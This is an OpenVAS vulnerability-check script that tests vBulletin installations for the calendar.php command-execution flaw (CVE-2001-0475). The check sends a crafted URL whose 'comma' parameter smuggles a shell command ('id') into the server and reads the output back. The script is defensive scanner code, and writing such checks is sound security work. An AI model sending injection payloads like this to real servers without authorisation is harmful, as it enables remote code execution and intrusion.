vBulletin's Calendar Command Execution Vulnerability

# OpenVAS Vulnerability Test
# $Id: vbulletin_calender_command_execution.nasl 6040 2017-04-27 09:02:38Z teissa $
# Description: vBulletin's Calendar Command Execution Vulnerability
#
# Authors:
# SecurITeam
#
# Copyright:
# Copyright (C) 2002 SecurITeam
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#


if(description)
{
 script_id(11179);
 script_version("$Revision: 6040 $");
 script_tag(name:"last_modification", value:"$Date: 2017-04-27 11:02:38 +0200 (Thu, 27 Apr 2017) $");
 script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
 script_bugtraq_id(2474);
 script_cve_id("CVE-2001-0475");
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_name("vBulletin's Calendar Command Execution Vulnerability");
 
 
 script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
 
 script_copyright("This script is Copyright (C) 2002 SecurITeam");
 script_family("Web application abuses");
 script_dependencies("http_version.nasl", "vbulletin_detect.nasl");
 script_require_ports("Services/www", 80);
 script_require_keys("vBulletin/installed");
 script_tag(name:"summary", value:"A vulnerability in vBulletin enables attackers to craft special URLs 
that will execute commands on the server through the vBulletin PHP
script.
For more information see: http://www.securiteam.com/securitynews/5IP0B203PI.html");
 exit(0);
}

# Check starts here

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);


if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);


# Test an install.
install = get_kb_item(string("www/", port, "/vBulletin"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
  dir = matches[2];

  http_check_remote_code (
			unique_dir:dir,
			check_request:"/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22",
			check_result:"uid=[0-9]+.*gid=[0-9]+.*",
			command:"id"
			);
}